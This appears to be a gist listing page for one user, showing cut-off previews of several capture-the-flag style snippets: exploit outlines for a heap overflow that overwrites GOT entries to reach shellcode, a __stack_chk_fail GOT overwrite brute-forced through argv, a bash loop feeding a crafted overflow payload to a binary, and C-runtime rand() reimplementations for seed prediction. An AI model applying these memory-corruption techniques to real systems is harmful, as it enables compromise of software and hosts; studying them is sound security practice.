wbowling

#!/usr/bin/env python2
# pylint: skip-file
"""
When performing a chunked transfer, realloc doesnt take into account the size of the headers allowing an overflow.
As the initial heap (0x100) is located inline we can overwrite the current heap location.

* overwrite __malloc_heap to point to our fake heap
* our fake heap size is huge so that memory os returned near the GOT
* overwrite memchr got with shellcode address
* win

wbowling

#!/usr/bin/env python

def srand(s):
  global seed
  seed = s

# microsoft c runtime implementation
def rand():
  global seed
  seed = (seed * 214013 + 2531011) % 2**64

wbowling

#!/usr/bin/env python2
"""
Overwrite the GOT entry for __stack_chk_fail with 0x40061a so we jump there instead.

The address can be passed in via argv, we cant use nulls but we can use blank strings instead.

As the argv location is semi random, it takes around 500 iterations which is pretty reasonable for 64bit

"""

wbowling

#!/usr/bin/env python
import string

def srand(s):
  global seed
  seed = s

# microsoft c runtime implementation
def rand():
  global seed

wbowling

#include <stdio.h>
#include <stdlib.h>

int main() {
  // char *pass = "THE SECRET HAS BEEN REMOVED LOL";
  char *pass = "\x9a\x60\x76\x14\x8b\x36\x5a\x10\x2b\x91\xc4\x6c\xab\x27\x92\x99\xf8\x6a\xec\x5d\x32\x20\x3d\x61\x8f\xc7\xfb\xdd\x02\x72\xbf";
  char key[31];
  char out[31];

  // 2017-07-16 to 2017-07-20

wbowling

#!/bin/bash
ulimit -c 0
export LIBC_FATAL_STDERR_=1

python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin

output=""
COUNTER=0
while [[ ! $output =~ "modified" ]]; do
	MOD=$(( $COUNTER  % 1000 ))

wbowling

// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console